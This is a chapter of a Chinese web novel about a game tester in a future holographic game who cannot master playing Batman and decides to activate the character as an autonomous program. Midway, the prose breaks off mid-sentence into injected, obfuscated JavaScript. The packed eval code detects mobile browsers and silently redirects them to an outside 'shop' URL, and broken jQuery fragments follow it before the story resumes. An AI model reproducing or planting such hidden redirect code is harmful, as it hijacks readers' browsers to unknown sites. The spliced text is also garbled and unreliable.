“我做不到。”
玩家又一次信心满满，到最后大败而归。他趴在桌子上，向询问他近况的朋友大吐苦水。
他刚从全息游戏舱中爬了出来，此刻正饿到啃压缩面饼。
他拒绝了管家AI给他的养生建议，没有将嘴里的压缩面饼泡开，而是就这么吞了下去，因为他实在是太饿了，就连将面饼泡水的力气也没有了。
玩家：嚼嚼嚼……
此刻他已经在全息游戏舱里连续奋战了十个小时，但是结果却是屡战屡败。
“我还是第一次听说就连你也束手无策的游戏。”玩家的朋友对此表示惊讶，“毕竟你可是连公认烂作都能啃得下去的家伙。”
虽然在通关那款游戏之后，玩家便发表了两万字的差评，痛斥种种缺点，至今那封评论都还挂在该游戏评论区主页供众人敬仰。
“不不不，”玩家趴在桌子上手舞足蹈，“它可不是一部烂作，我可以放心大胆地告诉你，假如你玩得进去，那么你一定会深陷其中……”
说到最后，玩家叹了一口气：“但也正是因此，这游戏让我束手无策。”
他回想着自己这十个小时不断反复重来的经过。
一般的游戏会刻意降低现实感，不管是场景建模，还是人物NPC会做出的反应，他们大部分都会比现实的角色更加呆滞。
而这款游戏却有些反直觉，它刻意提升了各方面的精细度，让你感觉这是一个真实的世界，但又会在你深入其中的时候让你清醒过来，明白这并不是现实。
比如说那些比现实还要灵敏得多的士兵，他们有着比普通人更敏锐的感官，能够听到玩家所产生的的各种杂音，并在一瞬间警惕起来，还有他们健壮的身材，说实在话，哪怕是30XX年，玩家也没有见过如此膨胀的肌肉。
有那么几次，玩家准备先对付这些壮汉，但很不幸，他最终栽在了这些直冲过来的巨人上。
还有最关键的，也就是游戏的主角，蝙蝠侠。
在摸清楚对方的玩法逻辑之后，玩家便开始尝试一系列破局办法，但这一系列方法都因为硬实力的不足而失败了。
蝙蝠侠的基础玩法与意志力相挂钩，而意志力则是一个人游玩全息游戏中想要更进一步的关键。
在30XX年，已经有科技证明人类的意志力确实会对人体产生影响，而在全息游戏的领域，意志力的表现则更为突出。
全息游戏舱能够让玩家体会到上天入地，无所不能的感受，但无法无中生有，创造出不存在的东西，换句话来说，你只能做到程序让你做的事，而玩家们操控程序靠的就是意志力。
在此基础上，有人却能更进一步，以凡人之躯匹敌AI，而这个分水岭就是意志力的体现。
玩家已经算是其中的佼佼者，但是他发现，蝙蝠侠这个角色的程序却比他想的还要离谱。
这个离谱并不是说内置程序很糟糕，而是说它做得太好了。
玩家详细地检查了蝙蝠侠这个角色的动作程序，他一般不这么做，因为乐趣，当你摸透了游戏的一串代码，这游戏对他来说就会变得枯燥起来。
但现在他不得不研究起更深层的系统，最后他发现，不是蝙蝠侠这个角色缺少了什么，而是他身上的系统又多又精细，假如是用终端模拟的电脑来游玩，那么游戏过程大概就是玩家做出决定，然后蝙蝠侠身上的程序自动判断使用什么样的招数，又自动选择多大的力道来打击敌人。
而游戏厂商居然还真的将这套与全息游戏匹配的程序做出来了。
这导致在全息游戏中，这些动作都需要玩家自己决定，是捂晕敌人，还是掀翻敌人，亦或者是使用钩爪枪将敌人用一套连招送走，这个过程又需要多大的力道……总之无比复杂。
也就是说，操作蝙蝠侠这个角色的上下限相当离奇，不同的人能打出不同的操作，就像是魂类游戏一样，佼佼者能够无伤通关，而菜鸟只能用膝盖走路，并且还不一定能把握将敌人打至标准的几分死。
根据玩家的体验，他的敌人在被自己一拳轰杀致死，再到嘲笑自己的攻击是挠痒痒的这两个极端之间徘徊。
哪怕他身经百战，也很难把握好这个度。
玩家猜测，或许专业的运动员会更了解该如何发力。
但是这都不是他这个只在家里健健身的宅男所会涉及的专业领域。
天知道当玩家扒到自己还未解锁的各种密密麻麻的连招时有多头皮发麻。
蝙蝠侠一定是超人吧，玩家想。
“我很难克制自己的力气，甚至揍上一拳都得犹豫着来，”玩家挑挑拣拣地说了些不涉及泄密的感受告诉他的朋友，将蝙蝠侠的数据与自己挂钩只能是自取其辱，“也就是说，想要游玩这款游戏，必须对自身的力气有着十足十的把握。”
就在刚刚，他将自己这十个小时的经历整理成一份简短的测评，上交给了公司。
玩家删掉了备忘录里有关游戏分级的讨论，往里面塞进了许多关于游戏机制的疑问，最后推荐公司选择运动能力强的运动员进行测试。
但是很快玩家就收到了游戏客服的回复：“感谢您对游戏一阶段的测评，您的游玩体验对我们来说相当重要，公司暂时没有更换游戏测评员的想法，请问您是否还有其他疑问。”
“有，”玩家在收到消息的第一刻便急忙回复，“当然有！”
“第一个问题，”玩家有很多疑问，但是他打字时花费了比平时还长的时间来斟酌字句，“我检查了游戏的内部程序，发现它在某些方面似乎过于贴近现实了，请问你们能就这方面给出解答吗。”
“不是说它的美术设计，而是指游戏中对人体的精准的细节把控，”这又是玩家在游玩过程中发现的新细节，“为什么会做的这么精细？”
玩家打字道：“而且这些程序居然与全息游戏有如此高的匹配度，这又是怎么回事？”
一般的老游戏和全息游戏可没有这么高的匹配度，甚至偶尔还会出现贴图错误，以及穿模等一系列问题，而这款游戏甚至已经可以发售了，只不过它的门槛极高而已。
“我需要一个回答。”
游戏客服的聊天框转了转，表示对方正在输入。
玩家本以为对方会以“无可奉告”回答自己，但对方竟然给出了一个离谱又合理的理由：“这款游戏在过去制作时参考了很多领域专家的建议。”
而且客服就像是猜到了玩家的想法一样：“至于匹配度，您很敏锐，其实这款游戏曾经是全息游戏成熟前的试验品，而如今重新对它进行测评，也算是我们对于游戏领域的一次试验。”
“至于您的建议，我们对您相当满意，暂时没有更换游戏测评员的打算，我们的负责人希望您能为这场试验提供更多数据，您可以以您所能想到的任何手段通关整场游戏，或许这能为我们带来更多灵感。”
对方又把问题抛回给了玩家。
他们希望玩家将这款游戏打至通关，并交上一份完美的答卷。
于是玩家又回到了一开始的问题上来，那就是如何通关新手教程。
事实上，玩家确实有很多方法可以通关，毕竟他不仅是玩家，还是掌握着游戏底层代码的测评者，比如说，他可以删掉那一串代表着蝙蝠侠不杀的代码，将游戏变成自己一个人的无双。
……听起来很没有意思。
游戏虐我千百遍，我待游戏如初恋，对玩家来说，好的游戏可遇不可求，他的人生追求也很难接受自己在破坏游戏性的情况下通关，更何况，谁知道这一连串的代码背后是不是和其他的机制挂钩。
这在玩家看来完全有可能，毕竟这游戏的现实程
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261231|198032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
度还有机制甚至达到了令强迫症满足的地步。
所以他在想还有没有什么别的办法能够通关。
玩家一向是个对游戏很认真的人，这个认真指的不只是游戏技术，还有对各个游戏的背景，剧情钻研的细致程度，这也是他能以个人与无数游戏厂家合作的立身之本。
因为他足够尊重游戏厂家的游戏设定与角色，就连被他痛批过两万字长评的游戏厂家，也从置顶的差评中收获了不错的流量，有很多异食癖都想看看这游戏到底有多糟糕。
玩家翻了翻笔记，他不想破坏游戏的整体性，于是只能试图用老办法，不去减量，那就只能增量了。
玩家对着他的朋友说：“想要达到主角的境界，从现在开始锻炼都来不及呢。”
但是他露出了一个得意的笑：“我除了打游戏一窍不通，只是个普通的宅男，不过玩家有玩家的办法嘛。”
那就是搭建游戏模组（MOD），也就是开挂。
既然客服说了可以以玩家所想的任何手段，那么玩家当然不吝啬于给自己开点方便之门。
在得到皇权特许的情况下，玩家立刻上号将蝙蝠侠所会的招数提前解锁了，但很快玩家就发现，这或许也是一种自取其辱的方式。
因为这些令玩家眼馋的招数也是需要照葫芦画瓢的。
但他到现在也只会挥拳头。
“听起来确实算是稀少的情况，”玩家的朋友兴致勃勃，还停留在有关蝙蝠侠这个角色的话题上，浑然不知玩家正在遭受的折磨，“现在的全息游戏很少有这种有个性的主角了。”
他说得没错，由于全息游戏追求真人扮演的代入感，现在已经很少有全息游戏用这么有个性的主角了。
游戏更多是会给主角更多自由发挥的空间，比如自由捏脸，无性格主角，可供各种性格的玩家游玩，顶多在某些宣发的时候提一两嘴主角所需要的品质，比如说救世主之类的，或者通过NPC的对行为的抵触来引导玩家。
“只有卖卡的配角才会有具体的性格，不过那也只是程序设置的NPC啦，”对方轻描淡写地说，“虽然他们看上去就像真人一样栩栩如生，甚至有着自己的生活，还有很多人愿意为他们氪金，但是那都是系统早就设置好的程序。”
谁料这番话居然让玩家陷入了沉思，他在通讯那头沉默了许久，久到他的朋友喊了他好几声。
“啊，没什么，”他慢慢地露出了一个恍然的表情，然后对他的朋友说了些他听不懂的怪话，“是啊，这听起来是个不错的办法。”
“太感谢你了，有空请你吃饭。”他只留下了最后一句话，随后便匆匆下线了。
对啊，玩家怎么没想到这个办法呢，他进入全息游戏舱，没有着急进入游戏界面，而是转到了全息游戏道德委员会所开放的公共资源界面，下载了全套的《如何让你的游戏角色动起来（傻瓜版教程）》。
随后他又下载了公司官网的人物角色启动器，同样也是早就搭建好的普适性模型。
或许是因为自己醒来是第一人称视角的缘故，玩家下意识地忽视了这个选项。
但就在刚刚，他意识到，既然都是降低难度，那么为什么不能让蝙蝠侠本人亲自给出一周目的最优解呢。
由主角本人亲手给出的数据又怎么不能作为一种标准的参考答案呢。
玩家可不担心蝙蝠侠这个角色无法像是自己所预想的那样“活起来”，毕竟从他身上那些密密麻麻看得玩家头晕的数据来看，他可是个备受青睐的孩子。
如果说将那些程序员看做是某种天道的化身的话，那么蝙蝠侠怎么不算是某种气运之子呢。
果然，玩家按着傻瓜版教程找到了连通模型的程序，这证明玩家的想法完全是可行的，于是在玩家的操作下。
【角色·蝙蝠侠上线】